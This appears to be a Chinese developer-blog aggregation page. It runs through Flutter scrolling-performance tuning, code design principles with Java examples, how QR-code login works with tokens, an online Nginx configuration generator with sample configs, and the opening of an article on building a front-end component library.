Flutter中,Clip主要用于裁剪,裁矩形、圆角矩形、圆形。一旦调用,后续所有的绘图指令都会受其Clip影响。有些ClipRRect可以用ShapeDecoration代替,Opacitiy改用AnimatedOpacity, 针对图片的Clip裁切,可以走定制图片库Transform实现。


降级CustomScrollView预渲染区域为合理值

默认情况下,CustomScrollView除了渲染屏幕内的内容,还会渲染上下各250区域的组件内容,即如双列瀑布流,当前屏幕可显示4个组件,实际仍有上下共4个组件在显示状态,如果setState(加载更多时),则会进行8个组件重绘。实际用户只看到4个,其实应该也只需渲染4个, 且上下滑动也会触发屏幕外的Widget创建销毁,造成滚动卡顿。高性能的手机可预渲染,淘特在低端机降级该区域距离为0或较小值。


高频埋点 Channel批量化操作

在组件曝光时上报埋点是很常见的行为,但在快速滚动的场景下, 瞬间10+ item的略过,20+ channel的调用同样会占用一定的UI线程资源和Native UI线程资源。这里淘特针对部分场景做了批量、定时上传, 维护一个埋点队列,默认定时3S或50条,业务不可见时上报,合并20+channel调用为单次。业务也可在合适时机点强制flush队列上报, 同时在Native侧,将埋点行为切换至子线程进行。

其他有效优化措施

部分业务特效,业务繁忙度在低端机上都是可以适度降级的,如淘特将Feed视频预览播放延迟时间从500ms降为1.5S,Feed流预加载阈值距离从2000+降为500,图片圆角降直角等降级措施的核心思路都是先保证最低端的用户也能用的顺畅,再美化细节锦上添花。

Flutter在无障碍开启情况下,快速滚动场景存在性能问题,如确定业务无需无障碍或用户误触发无障碍,可添加ExcludeSemantics Widget屏蔽无障碍。

通过DevTools检测,发现high_available高可用帧率检测在老版本存在性能问题,这块可升级插件版本或低端机屏蔽该检测。

解法 - 优化案例总结

上述十条优化实践,抛开细节看原理,大致分为以下几类, 融会贯通,实践出真知。

如何提高UI线程性能:

  • 如何提高build性能

    • 降低遍历出发点,降低setState的触发节

    • 停止树的遍历,不变的内容,返回同样的组件实例、Flutter将停止遍历该树(SlideTransition)

    • 减少非必要的build(setState)

  • 如何提高layout性能

    • layout暂时不太容易出问题

  • 如何提高paint性能

    • RepaintBoundary分离多变和不变的图层,如Gif、动画, 但多图层的合成也是有开销的

  • 其他

    • 耗时方法如大JSON解析用compute子线程化

    • 减少不必要的channel调用或批量合并

    • 减少动画

    • 减少Release时的log

    • 提高UI线程在Android/iOS的优先级

    • 列表组件支持局部build

    • 较小的cacheExtent值,减少渲染范围

如何提高GPU线程性能:

  1. 谨慎saveLayer

  2. 尽量少ClipPath、一旦调用,后续所有绘图指令需与Path做相交。(ClipRect、ClipRRect等)

  3. 减少毛玻璃BackdropFilter、阴影boxShadow

  4. 减少Opacity使用,必要时用AnimatedOpacity

解法 - 测量工具

工欲善其事,必先利其器。工具主要分为以下两块。

  1. 流畅度检测:无需侵入代码的流畅度检测方案有几种, 既可以通过adb取surfaceflinger数据, 也可以基于VirtualDisplay做图像对比,或者使用官方DevTools。第三方比较成熟的如PerfDog

  2. 卡顿排查:DevTools是官方的开发配套工具,非常实用

    1. Performance检测单帧CPU耗时(build、layout、paint)、GPU耗时、Widget Build次数

    2. CPUProfiler 检测方法耗时

    3. Flutter Inspector观察不合理布局

    4. Memory 监控Dart内存情况

DevTools

Flutter分为三种编译模式,Debug/Release大家都很熟悉,Debug最大特性为HotReload可调试,Release为最高性能,Profile模式则取其中间,专用于性能分析,其产物以AOT模式无限接近Release性能运行,又保留了丰富的性能分析途径。

如何以Profile模式运行flutter?

如果是混合工程,android为例,在app/build.gradle添加profile{init with debug}即可, 部分应用资源区分debug/profile,也可Copy一份profile。当然,更hack更彻底的方式,可直接修改$flutterRoot/packages/flutter_tools/gradle/flutter.gradle文件中buildModeFor方法,默认返回想要的Profile/Release模式。

如何在Profile模式下打开DevTools?

推荐使用IDE的flutter attach 或者 命令行采用flutter pub global run devtools,填入observatory的地址,即可开始使用DevTools。

Flutter Performance&Inspector

以AS为例,右侧会出现Flutter Performance和Inspector2个功能区。Performance功能区如下图:


Overlay效果如下图。可以看到有2排柱状图,上方为GPU帧耗时,下方为CPU耗时,实时显示最近300帧情况,当当前帧耗时超过16ms时,绿色扫描线会变红色, 此图常用于观察动态过程中的“瞬时卡顿点”。


Inspector较为简单,可观看Widget树结构和实际的Render Tree结构,包含基本的布局信息,DevTools中Inspector包含更详细信息。



DevTools&Flutter Inspector


DevTools&Performance



Performance功能是性能优化的核心工具,这里可以分析出大部分UI线程、GPU线程卡顿的原因。为方便分析,此图用Debug模式得来,实际性能分析以Profile模式为准。

如上图1所示,Build函数耗时明显过长,且连续数十帧如此,必然是Build的逻辑有严重问题。理论上Widget创建一次后状态未改变时无需重建。由前文淘特案例可以发现,这里实际是业务错误的在滚动进度回调中重复创建Widget所致。实际的Build应只在瀑布流Layout逻辑中创建执行2次。

Paint函数详情可在debug模式通过debugProfilePaintsEnabled=true开启。当多变的元素与不变的元素混在同一图层时可造成图层整体的过度重复绘制, 如元素内容无变化,Paint函数中也不应出现多余元素的绘制耗时。通过前面提及的Repain RainBow开关或debugRepaintRainbowEnabled=true, 可实时观察重绘情况,如下图所示。

每一个图层都有对应的不同颜色框体。只有发生Repaint的图层颜色会发生变化,多余的图层变色,我们就要排查是否正常。


GPU耗时过多一般源于重量级组件的过度使用如Clip、Opacity、阴影, 这块发现耗时过多可参考前文解法进行优化或降级, 关于GPU更多的优化可参考liyuqian的高性能图形引擎分享。

在图1最下方的CPU Profile即代表当帧的CPU耗时情况,BottomUp方便查找最耗时的方法。

DevTools&CPU Profiler


在Performance的隔壁是CPU Profiler,这里用于统计一段时间内CPU的耗时情况,一般根据方法名结合经验判断是业务异常还是正常耗时,根据visitChilddren-->getScrollRenderObject方法名搜索,发现高可用帧率监控存在性能问题。

Devtools还有内存、Debugger、网络、日志等功能模块,这块流畅度优化中使用不多,后续有更好的经验再和大家分享。

DebugFlags&Build


上图是一张针对build阶段常见的debug功能表, debugPrintRebuildDirtyWidgets开关将在控制台打印什么树当前正在被重建,debugProfileBuildsEnabled作用同Performance的Track Widget Builds,监控Build函数详情。前3个字段在debug模式使用,最后一个可在Profile模式使用。

DebugFlag&Paint

上图是一张针对Paint阶段常见的debug功能表。debugDumpLayerTree()函数可用于打印layer树,debugPaintLayerBordersEnabled可在每一个图层周围形成边界(框),debugRepaintRainbowEnabled作用同Inspector中的RainBow Enable, 图层重绘时边框颜色将变化。debugProfilePaintsEnabled前文已提到,方便分析paint函数详情。


展望

以上便是淘特Flutter流畅度优化第一期实践,也是体感优化最明显的的一期优化。但距离极致的用户体验目标仍有不小的差距。集团同学提供了很多秀实践学习。如UC Hummer的Engine流畅度优化, 闲鱼的局部刷新复用列表组件PowerScrollView、线上线下的高精准多维度检测卡顿,及如何防止流畅度优化不恶化的方案, 淘特也在不断学习成长挑战极限,在二期实践中,为了最极致的体验,淘特将结合Hummer引擎,深度优化高性能图片库、高性能流式容器、建立全面的线下线上数据监控体系,做一个”让用户爽的淘特App“。

参考资料

收起阅读 »

偷偷看了同事的代码找到了优雅代码的秘密

真正的大师永远怀着一颗学徒的心引言对于一个软件平台来说,软件平台代码的好坏直接影响平台整体的质量与稳定性。同时也会影响着写代码同学的创作激情。想象一下如果你从git上面clone下来的的工程代码乱七八糟,代码晦涩难懂,难以快速入手,有种想推到重写的冲动,那么程...
继续阅读 »

真正的大师永远怀着一颗学徒的心

引言

对于一个软件平台来说,软件平台代码的好坏直接影响平台整体的质量与稳定性。同时也会影响着写代码同学的创作激情。想象一下如果你从git上面clone下来的的工程代码乱七八糟,代码晦涩难懂,难以快速入手,有种想推到重写的冲动,那么程序猿在这个工程中写好代码的初始热情都没了。相反,如果clone下的代码结构清晰,代码优雅易懂,那么你在写代码的时候都不好意思写烂代码。这其中的差别相信工作过的同学都深有体会,那么我们看了那么多代码之后,到底什么样的代码才是好代码呢?它们有没有一些共同的特征或者原则?本文通过阐述优雅代码的设计原则来和大家聊聊怎么写好代码。

代码设计原则

好代码是设计出来的,也是重构出来的,更是不断迭代出来的。在我们接到需求,经过概要设计过后就要着手进行编码了。但是在实际编码之前,我们还需要进行领域分层设计以及代码结构设计。那么怎么样才能设计出来比较优雅的代码结构呢?有一些大神们总结出来的优雅代码的设计原则,我们分别来看下。

SRP

所谓SRP(Single Responsibility Principle)原则就是职责单一原则,从字面意思上面好像很好理解,一看就知道什么意思。但是看的会不一定就代表我们就会用,有的时候我们以为我们自己会了,但是在实际应用的时候又会遇到这样或者那样的问题。原因就是实际我们没有把问题想透,没有进行深度思考,知识还只是知识,并没有转化为我们的能力。就比如这里所说的职责单一原则指的是谁的单一职责,是类还是模块还是域呢?域可能包含多个模块,模块也可以包含多个类,这些都是问题。

为了方便进行说明,这里以类来进行职责单一设计原则的说明。对于一个类来说,如果它只负责完成一个职责或者功能,那么我们可以说这个类时符合单一职责原则。请大家回想一下,其实我们在实际的编码过程中,已经有意无意的在使用单一职责设计原则了。因为实际它是符合我们人思考问题的方式的。为什么这么说呢?想想我们在整理衣柜的时候,为了方便拿衣服我们会把夏天的衣服放在一个柜子中,冬天的衣服放在一个柜子。这样季节变化的时候,我们只要到对应的柜子直接拿衣服就可以了。否则如果冬天和夏天的衣服都放在一个柜子中,我们找衣服的时候可就费劲了。放到软件代码设计中,我们也需要采用这样的分类思维。在进行类设计的时候,要设计粒度小、功能单一的类,而不是大而全的类。

举个栗子,在学生管理系统中,如果一个类中既有学生信息的操作比如创建或者删除动作,又有关于课程的创建以及修改动作,那么我们可以认为这个类时不满足单一职责的设计原则的,因为它将两个不同业务域的业务混杂在了一起,所以我们需要进行拆分,将这个大而全的类拆分为学生以及课程两个业务域,这样粒度更细,更加内聚。

笔者根据自身的经验,总结了需要考虑进行单一职责拆分的几个场,希望对大家判断是否需要进行拆分有个简单的判断的标准: 1、不同的业务域需要进行拆分,就像上面的例子,另外如果与其他类的依赖过多,也需要考虑是不是应该进行拆分; 2、如果我们在类中编写代码的时候发现私有方法具有一定的通用性,比如判断ip是不是合法,解析xml等,那我们可以考虑将这些方法抽出来形成公共的工具类,这样其他类也可以方便的进行使用。 另外单一职责的设计思想不止在代码设计中使用,我们在进行微服务拆分的时候也会一定程度的遵循这个原则。

OCP

OCP(Open Closed Principle)即对修改关闭,对扩展开放原则,个人觉得这是设计原则中最难的原则。不仅理解起来有一定的门槛,在实际编码过程中也是不容易做到的。 首先我们得先搞清楚这里的所说的修改以及扩展的区别在什么地方,说实话一开始看到这个原则的时候,我总觉得修改和开放说的不是一个意思嘛?想来想去都觉得有点迷糊。后来在不断的项目实践中,对这个设计原则的理解逐渐加深了。

设计原则中所说的修改指的是对原有代码的修改,而扩展指的是在原有代码基础上的能力的扩展,并不修改原先已有的代码。这是修改与扩展的最大的区别,一个需要修改原来的代码逻辑,另一个不修改。因此才叫对修改关闭但是对扩展开放。弄清楚修改和扩展的区别之后,我们再想一想为什么要对修改关闭,而要对扩展开放呢? 我们都知道软件平台都是不断进行更新迭代的,因此我们需要不断在原先的代码中进行开发。那么就会涉及到一个问题如果我们的代码设计的不好,扩展性不强,那么每次进行功能迭代的时候都会修改原先已有的代码,有修改就有可能引入bug,造成系统平台的不稳定。因此我们为了平台的稳定性,需要对修改关闭。但是我们要添加新的功能怎么办呢?那就是通过扩展的方式来进行,因此需要实现对扩展开放。

这里我们以一个例子来进行说明,否则可能还是有点抽象。在一个监控平台中,我们需要对服务所占用CPU、内存等运行信息进行监控,第一版代码如下。

public class Alarm {
private AlarmRule alarmRule;
   private AlarmNotify alarmNotify;
   
   public Alarm(AlarmRule alarmRule, AlarmNotify alarmNotify) {
       this.alarmRule = alarmRule;
       this.alarmNotify = alarmNotify;
  }
   
   public void checkServiceStatus(String serviecName, int cpu, int memory) {
       if(cpu > alarmRule.getRule(ServiceConstant.Status).getCpuThreshold) {
           alarmNotify.notify(serviecName +  alarmRule.getRule(ServiceConstant.Status).getDescription)
      }
       
        if(memory > alarmRule.getRule(ServiceConstant.Status).getMemoryThreshold) {
           alarmNotify.notify(serviecName +  alarmRule.getRule(ServiceConstant.Status).getDescription)
      }
   
  }

}

代码逻辑很简单,就是根据对应的告警规则中的阈值判断是否达到触发告警通知的条件。如果此时来了个需求,需要增加判断的条件,就是根据服务对应的状态,判断需不需要进行告警通知。我们来先看下比较low的修改方法。我们在checkServiceStatus方法中增加了服务状态的参数,同事在方法中增加了判断状态的逻辑。

public class Alarm {
private AlarmRule alarmRule;
   private AlarmNotify alarmNotify;
   
   public Alarm(AlarmRule alarmRule, AlarmNotify alarmNotify) {
       this.alarmRule = alarmRule;
       this.alarmNotify = alarmNotify;
  }
   
   public void checkServiceStatus(String serviecName, int cpu, int memory, int status) {
       if(cpu > alarmRule.getRule(ServiceConstant.Status).getCpuThreshold) {
           alarmNotify.notify(serviecName +  alarmRule.getRule(ServiceConstant.Status).getDescription)
      }
       
        if(memory > alarmRule.getRule(ServiceConstant.Status).getMemoryThreshold) {
           alarmNotify.notify(serviecName +  alarmRule.getRule(ServiceConstant.Status).getDescription)
      }
       
        if(status == alarmRule.getRule(ServiceConstant.Status).getStatusThreshold) {
           alarmNotify.notify(serviecName +  alarmRule.getRule(ServiceConstant.Status).getDescription)
      }
   
  }

}

很显然这种修改方法非常的不友好,为什么这么说呢?首先修改了方法参数,那么调用该方法的地方可能也需要修改,另外如果改方法有单元测试方法的话,单元测试用例必定也需要修改,在原有测试过的代码中添加新的逻辑,也增加了bug引入的风险。因此这种修改的方式我们需要进行避免。那么怎么修改才能够体现对修改关闭以及对扩展开放呢? 首先我们可以先将关于服务状态的属性抽象为一个ServiceStatus 实体,在对应的检查方法中以ServiceStatus 为入参,这样以后如果还有服务状态的属性增加的话,只需要在ServiceStatus 中添加即可,并不需要修改方法中的参数以及调用方法的地方,同样单元测试的方法也不用修改。

@Data
public class ServiceStatus {
   String serviecName;
   int cpu;
   int memory;
   int status;

}

另外在检测方法中,我们怎么修改才能体现可扩展呢?而不是在检测方法中添加处理逻辑。一个比较好的实现方式就是通过抽象检测方法,具体的实现在各个实现类中。这样即使新增检测逻辑,只需要扩展检测实现方法就可,不需要在修改原先代码的逻辑,实现代码的可扩展。

LSP

LSP(Liskov Substitution Principle)里氏替换原则,这个设计原则我觉得相较于前面的两个设计原则来说要简单些。它的内容为子类对象(object of subtype/derived class)能够替换程序(program)中父类对象(object of base/parent class)出现的任何地方,并且保证原来程序的逻辑行为(behavior)不变及正确性不被破坏。

里式替换原则是用来指导,继承关系中子类该如何设计的一个原则。理解里式替换原则,最核心的就是理解“design by contract,按照协议来设计”这几个字。父类定义了函数的“约定”(或者叫协议),那子类可以改变函数的内部实现逻辑,但不能改变函数原有的“约定”。这里的约定包括:函数声明要实现的功能;对输入、输出、异常的约定;甚至包括注释中所罗列的任何特殊说明。

我们怎么判断有没有违背LSP呢?我觉得有两个关键点可以作为判断的依据,一个是子类有没有改变父类申明需要实现的业务功能,另一个是否违反父类关于输入、输出以及异常抛出的规定。

ISP

ISP(Interface Segregation Principle)接口隔离原则,简单理解就是只给调用方需要的接口,它不需要的就不要硬塞给他了。这里我们举个栗子,以下是关于产品的接口,其中包含了创建产品、删除产品、根据ID获取产品以及更新产品的接口。如果此时我们需要对外提供一个根据产品的类别获取产品的接口,我们应该怎么办?很多同学会说,这还不简单,我们直接在这个接口里面添加根据类别查询产品的接口就OK了啊。大家想想这个方案有没有什么问题。

public interface ProductService { 
   boolean createProduct(Product product);
   boolean deleteProductById(long id);
   Product getProductById(long id);
   int updateProductInfo(Product product);
}

public class UserServiceImpl implements UserService { //...}

这个方案看上去没什么问题,但是再往深处想一想,外部系统只需要一个根据产品类别查询商品的功能,,但是实际我们提供的接口中还包含了删除、更新商品的接口。如果这些接口被其他系统误调了可能会导致产品信息的删除或者误更新。因此我们可以将这些第三方调用的接口都隔离出来,这样就不存在误调用以及接口能力被无序扩散的情况了。

public interface ProductService { 
   boolean createProduct(Product product);
   boolean deleteProductById(long id);
   Product getProductById(long id);
   int updateProductInfo(Product product);
}

public interface ThirdSystemProductService{
   List<Product> getProductByType(int type);
}

public class UserServiceImpl implements UserService { //...}

LOD

LOD(Law of Demeter)即迪米特法则,这是我们要介绍的最后一个代码设计法则了,光从名字上面上看,有点不明觉厉的感觉,看不出来到底到底表达个什么意思。我们可以来看下原文是怎么描述这个设计原则的。 Each unit should have only limited knowledge about other units: only units “closely” related to the current unit. Or: Each unit should only talk to its friends; Don’t talk to strangers. 按照我自己的理解,这迪米特设计原则的最核心思想或者说最想达到的目的就是尽最大能力减小代码修改带来的对原有的系统的影响。所以需要实现类、模块或者服务能够实现高内聚、低耦合。不该有直接依赖关系的类之间,不要有依赖;有依赖关系的类之间,尽量只依赖必要的接口。迪米特法则是希望减少类之间的耦合,让类越独立越好。每个类都应该少了解系统的其他部分。一旦发生变化,需要了解这一变化的类就会比较少。打个比方这就像抗战时期的的地下组织一样,相关联的聚合到一起,但是与外部保持尽可能少的联系,也就是低耦合。

总结

本文总结了软件代码设计中的五大原则,按照我自己的理解,这五大原则就是程序猿代码设计的内功,而二十三种设计模式实际就是内功催生出来的编程招式,因此深入理解五大设计原则是我们用好设计模式的基础,也是我们在平时设计代码结构的时候需要遵循的一些常见规范。只有不断的在设计代码-》遵循规范-》编写代码-》重构这个循环中磨砺,我们才能编写出优雅的代码。

作者:慕枫技术笔记
来源:https://juejin.cn/post/7046404022143549447

收起阅读 »

二维码扫码登录是什么原理

前几天看了极客时间一个二维码的视频,写的不错,这里总结下在日常生活中,二维码出现在很多场景,比如超市支付、系统登录、应用下载等等。了解二维码的原理,可以为技术人员在技术选型时提供新的思路。对于非技术人员呢,除了解惑,还可以引导他更好地辨别生活中遇到的各种二维码...
继续阅读 »

前几天看了极客时间一个二维码的视频,写的不错,这里总结下

在日常生活中,二维码出现在很多场景,比如超市支付、系统登录、应用下载等等。了解二维码的原理,可以为技术人员在技术选型时提供新的思路。对于非技术人员呢,除了解惑,还可以引导他更好地辨别生活中遇到的各种二维码,防止上当受骗。

二维码,大家再熟悉不过了

购物扫个码,吃饭扫个码,坐公交也扫个码

在扫码的过程中,大家可能会有疑问:这二维码安全吗?会不会泄漏我的个人信息?更深度的用户还会考虑:我的系统是不是也可以搞一个二维码来推广呢?

这时候就需要了解一下二维码背后的技术和逻辑了!

二维码最常用的场景之一就是通过手机端应用扫描PC或者WEB端的二维码,来登录同一个系统。 比如手机微信扫码登录PC端微信,手机淘宝扫码登录PC端淘宝。 那么就让我们来看一下,二维码登录是怎么操作的!

二维码登录的本质

二维码登录本质上也是一种登录认证方式。既然是登录认证,要做的也就两件事情!

  1. 告诉系统我是谁

  2. 向系统证明我是谁

比如账号密码登录,账号就是告诉系统我是谁, 密码就是向系统证明我是谁; 比如手机验证码登录,手机号就是告诉系统我是谁,验证码就是向系统证明我是谁;

那么扫码登录是怎么做到这两件事情的呢?我们一起来考虑一下

手机端应用扫PC端二维码,手机端确认后,账号就在PC端登录成功了!这里,PC端登录的账号肯定与手机端是同一个账号。不可能手机端登录的是账号A,而扫码登录以后,PC端登录的是账号B。

所以,第一件事情,告诉系统我是谁,是比较清楚的!

通过扫描二维码,把手机端的账号信息传递到PC端,至于是怎么传的,我们后面再说

第二件事情,向系统证明我是谁。扫码登录过程中,用户并没有去输入密码,也没有输入验证码,或者其他什么码。那是怎么证明的呢?

有些同学会想到,是不是扫码过程中,把密码传到了PC端呢? 但这是不可能的。因为那样太不安全的,客户端也根本不会去存储密码。我们仔细想一下,其实手机端APP它是已经登录过的,就是说手机端是已经通过登录认证。所说只要扫码确认是这个手机且是这个账号操作的,其实就能间接证明我谁。

认识二维码

那么如何做确认呢?我们后面会详细说明,在这之前我们需要先认识一下二维码! 在认识二维码之前我们先看一下一维码!

所谓一维码,也就是条形码,超市里的条形码--这个相信大家都非常熟悉,条形码实际上就是一串数字,它上面存储了商品的序列号。

二维码其实与条形码类似,只不过它存储的不一定是数字,还可以是任何的字符串,你可以认为,它就是字符串的另外一种表现形式,

在搜索引擎中搜索二维码,你可以找到很多在线生成二维码的工具网站,这些网站可以提供字符串与二维码之间相互转换的功能,比如 草料二维码网站

在左边的输入框就可以输入你的内容,它可以是文本、网址,文件........。然后就可以生成代表它们的二维码

你也可以把二维码上传,进行”解码“,然后就可以解析出二维码代表的含义

系统认证机制

认识了二维码,我们了解一下移动互联网下的系统认证机制。

前面我们说过,为了安全,手机端它是不会存储你的登录密码的。 但是在日常使用过程中,我们应该会注意到,只有在你的应用下载下来后,第一次登录的时候,才需要进行一个账号密码的登录, 那之后呢 即使这个应用进程被杀掉,或者手机重启,都是不需要再次输入账号密码的,它可以自动登录。

其实这背后就是一套基于token的认证机制,我们来看一下这套机制是怎么运行的,

  1. 账号密码登录时,客户端会将设备信息一起传递给服务端,

  2. 如果账号密码校验通过,服务端会把账号与设备进行一个绑定,存在一个数据结构中,这个数据结构中包含了账号ID,设备ID,设备类型等等

const token = {
 acountid:'账号ID',
 deviceid:'登录的设备ID',
 deviceType:'设备类型,如 iso,android,pc......',
}

然后服务端会生成一个token,用它来映射数据结构,这个token其实就是一串有着特殊意义的字符串,它的意义就在于,通过它可以找到对应的账号与设备信息,

  1. 客户端得到这个token后,需要进行一个本地保存,每次访问系统API都携带上token与设备信息。

  2. 服务端就可以通过token找到与它绑定的账号与设备信息,然后把绑定的设备信息与客户端每次传来的设备信息进行比较, 如果相同,那么校验通过,返回AP接口响应数据, 如果不同,那就是校验不通过拒绝访问

从前面这个流程,我们可以看到,客户端不会也没必要保存你的密码,相反,它是保存了token。可能有些同学会想,这个token这么重要,万一被别人知道了怎么办。实际上,知道了也没有影响, 因为设备信息是唯一的,只要你的设备信息别人不知道, 别人拿其他设备来访问,验证也是不通过的。

可以说,客户端登录的目的,就是获得属于自己的token。

那么在扫码登录过程中,PC端是怎么获得属于自己的token呢?不可能手机端直接把自己的token给PC端用!token只能属于某个客户端私有,其他人或者是其他客户端是用不了的。在分析这个问题之前,我们有必要先梳理一下,扫描二维码登录的一般步骤是什么样的。这可以帮助我们梳理清楚整个过程,

扫描二维码登录的一般步骤

大概流程

  1. 扫码前,手机端应用是已登录状态,PC端显示一个二维码,等待扫描

  2. 手机端打开应用,扫描PC端的二维码,扫描后,会提示"已扫描,请在手机端点击确认"

  3. 用户在手机端点击确认,确认后PC端登录就成功了

可以看到,二维码在中间有三个状态, 待扫描,已扫描待确认,已确认。 那么可以想象

  1. 二维码的背后它一定存在一个唯一性的ID,当二维码生成时,这个ID也一起生成,并且绑定了PC端的设备信息

  2. 手机去扫描这个二维码

  3. 二维码切换为 已扫描待确认状态, 此时就会将账号信息与这个ID绑定

  4. 当手机端确认登录时,它就会生成PC端用于登录的token,并返回给PC端

好了,到这里,基本思路就已经清晰了,接下来我们把整个过程再具体化一下

二维码准备

按二维码不同状态来看, 首先是等待扫描状态,用户打开PC端,切换到二维码登录界面时。

  1. PC端向服务端发起请求,告诉服务端,我要生成用户登录的二维码,并且把PC端设备信息也传递给服务端

  2. 服务端收到请求后,它生成二维码ID,并将二维码ID与PC端设备信息进行绑定

  3. 然后把二维码ID返回给PC端

  4. PC端收到二维码ID后,生成二维码(二维码中肯定包含了ID)

  5. 为了及时知道二维码的状态,客户端在展现二维码后,PC端不断的轮询服务端,比如每隔一秒就轮询一次,请求服务端告诉当前二维码的状态及相关信息

二维码已经准好了,接下来就是扫描状态

扫描状态切换

  1. 用户用手机去扫描PC端的二维码,通过二维码内容取到其中的二维码ID

  2. 再调用服务端API将移动端的身份信息与二维码ID一起发送给服务端

  3. 服务端接收到后,它可以将身份信息与二维码ID进行绑定,生成临时token。然后返回给手机端

  4. 因为PC端一直在轮询二维码状态,所以这时候二维码状态发生了改变,它就可以在界面上把二维码状态更新为已扫描

那么为什么需要返回给手机端一个临时token呢?临时token与token一样,它也是一种身份凭证,不同的地方在于它只能用一次,用过就失效。

在第三步骤中返回临时token,为的就是手机端在下一步操作时,可以用它作为凭证。以此确保扫码,登录两步操作是同一部手机端发出的,

状态确认

最后就是状态的确认了。

  1. 手机端在接收到临时token后会弹出确认登录界面,用户点击确认时,手机端携带临时token用来调用服务端的接口,告诉服务端,我已经确认

  2. 服务端收到确认后,根据二维码ID绑定的设备信息与账号信息,生成用户PC端登录的token

  3. 这时候PC端的轮询接口,它就可以得知二维码的状态已经变成了"已确认"。并且从服务端可以获取到用户登录的token

  4. 到这里,登录就成功了,后端PC端就可以用token去访问服务端的资源了

扫码动作的基础流程都讲完了,有些细节还没有深入介绍,

比如二维码的内容是什么?

  • 可以是二维码ID

  • 可以是包含二维码ID的一个url地址

在扫码确认这一步,用户取消了怎么处理? 这些细节都留给大家思考

总结

我们从登陆的本质触发,探索二维码扫码登录是如何做到的

  1. 告诉系统我是谁

  2. 向系统证明我谁

在这个过程中,我们先简单讲了两个前提知识,

  • 一个是二维码原理,

  • 一个是基于token的认证机制。

然后我们以二维码状态为轴,分析了这背后的逻辑: 通过token认证机制与二维码状态变化来实现扫码登录.

需要指出的是,前面的讲的登录流程,它适用于同一个系统的PC端,WEB端,移动端。

平时我们还有另外一种场景也比较常见,那就是通过第三方应用来扫码登录,比如极客时间/掘金 都可以选择微信/QQ等扫码登录,那么这种通过第三方应用扫码登录又是什么原理呢?

感兴趣的同学可以思考研究一下,欢迎在评论区留下你的见解。


作者:望道同学
来源:https://juejin.cn/post/6940976355097985032

收起阅读 »

Nginx 配置在线一键生成“神器”

基于以上的原因,肯定很多读者伙伴经常会收集一些配置文档、或者电脑里也保存着一些自己日常的常用配置案例,但是终究还是不是很便利。今天,民工哥给大家介绍一款「超级牛掰的神器」,可以在线一键生成Nginx的配置。网址:https://nginxconfig.io/操...
继续阅读 »

Nginx作为一个轻量级的HTTP服务器,相比Apache优势也是比较明显的,在性能上它占用资源少,能支持更高更多的并发连接,从而达到提高访问效率;在功能上它是一款非常优秀的代理服务器与负载均衡服务器;在安装配置上它安装,配置都比较简单。

但在实际的生产配置环境中,肯定会经常遇到需要修改、或者重新增加Nginx配置的问题,有的时候需求更是多种多样,修修改改经常会出现这样、那样的一些错误,特别的烦索。

基于以上的原因,肯定很多读者伙伴经常会收集一些配置文档、或者电脑里也保存着一些自己日常的常用配置案例,但是终究还是不是很便利。今天,民工哥给大家介绍一款「超级牛掰的神器」,可以在线一键生成Nginx的配置。

网址:https://nginxconfig.io/

NGINX Config 支持 HTTP、HTTPS、PHP、Python、Node.js、WordPress、Drupal、缓存、逆向代理、日志等各种配置选项。在线生成 Web 服务器 Nginx 配置文件。

操作配置也非常简单,你需要做的只需要2步:

  • 打开官方网站

  • 按需求配置相关参数

系统就会自动生成特定的配置文件。虽然界面是英文的,但是功能的页面做的非常直观,生成的Nginx格式规范。

案例展示

配置域名:mingongge.com 实现用户访问*.mingongge.com 域名时会自动跳转到 mingongge.com 此配置,并且开启http强制跳转到https的配置。

这时,Nginx的配置就会实时自动生成在下面,我把生成的配置复制过来,如下:

/etc/nginx/sites-available/mingongge.com.conf#文件名都给你按规则配置好了
server {
listen 443 ssl http2;

server_name mingongge.com;

# SSL
ssl_certificate /etc/letsencrypt/live/mingongge.com/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/mingongge.com/privkey.pem;
ssl_trusted_certificate /etc/letsencrypt/live/mingongge.com/chain.pem;

# security
include nginxconfig.io/security.conf;

# additional config
include nginxconfig.io/general.conf;
}

# subdomains redirect
server {
listen 443 ssl http2;

server_name *.mingongge.com;

# SSL
ssl_certificate /etc/letsencrypt/live/mingongge.com/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/mingongge.com/privkey.pem;
ssl_trusted_certificate /etc/letsencrypt/live/mingongge.com/chain.pem;

return 301 https://mingongge.com$request_uri;
}

# HTTP redirect
server {
listen 80;

server_name .mingongge.com;

include nginxconfig.io/letsencrypt.conf;

location / {
return 301 https://mingongge.com$request_uri;
}
}

非常的方便与快速。

官方还提供一些Nginx的基础优化配置,如下:

/etc/nginx/nginx.conf
# Generated by nginxconfig.io

user www-data;
pid /run/nginx.pid;
worker_processes auto;
worker_rlimit_nofile 65535;

events {
multi_accept on;
worker_connections 65535;
}

http {
charset utf-8;
sendfile on;
tcp_nopush on;
tcp_nodelay on;
server_tokens off;
log_not_found off;
types_hash_max_size 2048;
client_max_body_size 16M;

# MIME
include mime.types;
default_type application/octet-stream;

# logging
access_log /var/log/nginx/access.log;
error_log /var/log/nginx/error.log warn;

# load configs
include /etc/nginx/conf.d/*.conf;
include /etc/nginx/sites-enabled/*;
}

还有基于安全的配置,如下:

/etc/nginx/nginxconfig.io/security.conf
# security headers
add_header X-Frame-Options "SAMEORIGIN" always;
add_header X-XSS-Protection "1; mode=block" always;
add_header X-Content-Type-Options "nosniff" always;
add_header Referrer-Policy "no-referrer-when-downgrade" always;
add_header Content-Security-Policy "default-src * data: 'unsafe-eval' 'unsafe-inline'" always;

# . files
location ~ /\.(?!well-known) {
deny all;
}

都相当于是提供一些基础的模板配置,可以根据自己的实际需求去修改。

有了这个神器在手,再也不用为配置Nginx的各类配置而烦恼了!!

作者:民工哥

来源:https://www.bbsmax.com/A/kjdw09OwzN/

收起阅读 »

如何搭建一套前端团队的组件系统

使用第三方组件库优缺点快速开发系统管理或中台产品B端产品比较适合,用户群体比较小众,重点在与功能和业务逻辑上手简单,学习成本低体积大,用户访问时间过长,对于C端产品,时间就是金钱,除非部署在高性能服务器或者使用cdn弥补,需要更轻量级组件永恒不变的风格,产品没...
继续阅读 »

伴着公司业务发展,开源的组件库已无法满业务需要,搭建一套更适合公司业务的UI组件库,势在必行,目前市面上有很多功能强大且完善的组件库,比如基于react的开源组件库antDesign,vue的开源组件库elementUI等。

使用第三方组件库优缺点

优点

  • 快速开发系统管理或中台产品

  • B端产品比较适合,用户群体比较小众,重点在与功能和业务逻辑

  • 上手简单,学习成本低

缺点

